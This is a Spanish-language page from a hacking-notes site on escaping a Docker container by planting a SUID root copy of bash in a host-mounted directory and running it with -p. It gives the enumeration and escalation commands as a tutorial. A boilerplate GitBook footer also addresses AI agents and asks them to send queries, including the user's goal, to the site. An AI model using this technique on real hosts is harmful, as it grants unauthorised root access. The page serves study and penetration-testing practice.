> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md).

# Manipulación de permisos SUID de Docker - Escalada de privilegios en Linux

## Qué es

Las vías de escape de Docker abusan de una mala configuración del contenedor, recursos del host montados, credenciales predeterminadas, contraseñas reutilizadas o privilegios excesivos del contenedor. El objetivo es pasar del contexto del contenedor al acceso a nivel de host. Esta página específica se centra en **Escape de Docker (manipulación de permisos SUID)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Ejemplos

## Bash SUID desde Docker

Como en el contenedor Docker somos root, copiaremos el binario bash desde el host normal de la máquina al directorio personal de `augustus`:

```
cp /bin/bash .
```

<figure><img src="/files/1c1e1b57d7a0d102f805242813a920b0ed43cc99" alt="" width="556"><figcaption></figcaption></figure>

Desde la raíz de Docker, permitiremos al grupo root para este archivo bash y los permisos SUID para ejecutarlo como root:

```bash
chown root:root bash
chmod 4777 bash
```

Volvemos al SSH y vemos:

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="/files/0a84d189e9558055e20922c00358c912728c5eca" alt=""><figcaption></figcaption></figure>

`./bash -p`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
